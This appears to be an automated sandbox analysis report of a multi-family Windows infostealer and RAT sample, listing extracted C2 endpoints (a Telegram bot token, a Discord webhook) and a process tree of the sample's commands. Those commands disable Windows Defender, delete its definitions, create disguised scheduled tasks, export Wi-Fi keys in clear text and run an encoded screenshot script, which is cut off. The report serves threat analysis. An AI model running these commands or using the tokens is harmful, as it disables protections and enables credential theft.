Overview

overview

10

Static

static

10

2026-08-15...ar.exe

windows10-2004-x64

10

2026-08-15...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 01:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-15_112917f571f1de6b6e3164278afc7a67_cobalt-strike_glassworm_njrat_satacom_vidar.exe
  • Size 74.4MB
  • Sample260815-cbbwlswhke
  • SHA256 acff496364a789a582504f0412a3dbe59aaf0ee01e8a3aa3b44dd3574ee1ea62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectioncredential_accessdefense_evasiondiscoveryexecutionsheetratumbralxorium_stealerpersistenceprivilege_escalationspywarestealertrojanupx

Malware Config

Extracted

Family

  • sheetrat

C2

  • 8x4bgyvtvu.localto.net:10984

Extracted

Family

  • xorium_stealer

C2

  • https://api.telegram.org/bot8202890583:AAEqT1qcvckTGUTE8Q399o9gBnQRi_bTkdQ/sendDocument

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

Extracted

Family

  • umbral

Version

  • v1.3

C2

  • https://discord.com/api/webhooks/1536288510770937996/KAuLJ2tfwT20zXC4k6ONPGdFncbg90V-cgNum4oyojGBXXLn4-Z3urqHM2NSPdYdsvdn

Signatures

  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

    trojansheetrat
  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

    stealerumbral
  • Family: XoriumStealer

    XoriumStealer is an information stealer written in C#.

    stealerxorium_stealer
  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    defense_evasion
  • Detects Sheetrat obfuscated V1.8 and higher 2 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Sheetrat obfuscated version 2 IoCs
  • Detects Umbral payload 4 IoCs
  • Detects XoriumStealer payload 2 IoCs
  • Modifies WinLogon for persistence 2 TTPs 5 IoCs
    persistence
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 2 IoCs
  • Detects executables attemping to enumerate video devices using WMI 2 IoCs
  • Detects executables containing possible sandbox analysis VM names 2 IoCs
  • Detects executables containing possible sandbox analysis VM usernames 2 IoCs
  • Detects executables containing possible sandbox system UUIDs 2 IoCs
  • Detects executables referencing many IR and analysis tools 2 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 2 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information steale 2 IoCs
  • Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 19 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 3 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 7 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 7 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 31 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-15_112917f571f1de6b6e3164278afc7a67_cobalt-strike_glassworm_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-15_112917f571f1de6b6e3164278afc7a67_cobalt-strike_glassworm_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3604
    • C:\Users\Admin\AppData\Local\Temp\tmp2EF6.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmp2EF6.tmp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WindowsUpdateService.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1128
      • C:\Users\Admin\AppData\Local\Temp\WindowsUpdateService.exe
        "C:\Users\Admin\AppData\Local\Temp\WindowsUpdateService.exe"
        3⤵
        • Modifies WinLogon for persistence
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "RuntimeBroker.exe" /tr "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe" & exit
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4140
          • C:\Windows\system32\schtasks.exe
            SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "RuntimeBroker.exe" /tr "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4752
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe" /RL HIGHEST & exit
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5396
          • C:\Windows\system32\schtasks.exe
            SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe" /RL HIGHEST
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3368
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\OneDriveSetup.exe" /RL HIGHEST & exit
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5544
          • C:\Windows\system32\schtasks.exe
            SchTaSKs /create /f /sc minute /mo 5 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\OneDriveSetup.exe" /RL HIGHEST
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5308
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe" /RL HIGHEST & exit
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\schtasks.exe
            SchTaSKs /create /f /sc minute /mo -1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Windows\RuntimeBroker.exe" /RL HIGHEST
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3312
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\OneDriveSetup.exe" /RL HIGHEST & exit
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:624
          • C:\Windows\system32\schtasks.exe
            SchTaSKs /create /f /sc minute /mo 5 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\OneDriveSetup.exe" /RL HIGHEST
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5748
      • C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe
        "C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe"
        3⤵
        • Modifies WinLogon for persistence
        • Executes dropped EXE
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5644
        • C:\Windows\SYSTEM32\CMD.exe
          "CMD" netsh advfirewall firewall add rule name="U*`2d'bFd`_zdT" dir=in action=allow program="C:\Windows\System32\winIogon.exe" enable=yes & exit
          4⤵
            PID:2140
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Windows Security Health Update" /tr "C:\Windows\System32\winIogon.exe" /RL HIGHEST & exit
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1184
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc minute /mo 1 /tn "Windows Security Health Update" /tr "C:\Windows\System32\winIogon.exe" /RL HIGHEST
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3332
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Windows Security Service" /tr "C:\Windows\Web\SmartScreen.exe" /RL HIGHEST & exit
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:912
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc minute /mo 30 /tn "Windows Security Service" /tr "C:\Windows\Web\SmartScreen.exe" /RL HIGHEST
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:6084
          • C:\Windows\System32\winIogon.exe
            "C:\Windows\System32\winIogon.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Drops file in Windows directory
            PID:4492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WindowsSecurityHealth.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4880
        • C:\Users\Admin\AppData\Local\Temp\WindowsSecurityHealth.exe
          "C:\Users\Admin\AppData\Local\Temp\WindowsSecurityHealth.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:700
          • C:\Windows\SYSTEM32\netsh.exe
            "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\IntelixWifiExport_35e8cb804bf54954a9cd552d13203c77"
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3152
          • C:\Windows\SYSTEM32\netsh.exe
            "netsh" wlan show profiles
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:4472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Syssms.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:6024
        • C:\Users\Admin\AppData\Local\Temp\Syssms.exe
          "C:\Users\Admin\AppData\Local\Temp\Syssms.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3380
          • C:\Users\Admin\AppData\Local\Temp\Syssms.exe
            "C:\Users\Admin\AppData\Local\Temp\Syssms.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3352
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Syssms.exe'"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:764
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Syssms.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5992
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2536
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Disables one or more Microsoft Defender components
                • Suspicious behavior: EnumeratesProcesses
                PID:4612
              • C:\Program Files\Windows Defender\MpCmdRun.exe
                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                6⤵
                • Deletes Windows Defender Definitions
                PID:3356
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏    .scr'"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1908
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏    .scr'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4124
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4688
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                6⤵
                • Discovers running processes
                PID:4844
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2500
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                6⤵
                • Discovers running processes
                PID:1788
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2436
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                6⤵
                  PID:2096
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                5⤵
                • Clipboard Data
                • Suspicious use of WriteProcessMemory
                PID:3272
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  6⤵
                  • Clipboard Data
                  PID:6084
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                5⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4612
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  6⤵
                  • Discovers running processes
                  PID:4424
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                5⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4340
                • C:\Windows\system32\tree.com
                  tree /A /F
                  6⤵
                    PID:5928
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "systeminfo"
                  5⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2916
                  • C:\Windows\system32\systeminfo.exe
                    systeminfo
                    6⤵
                    • Gathers system information
                    PID:5548
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5220
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI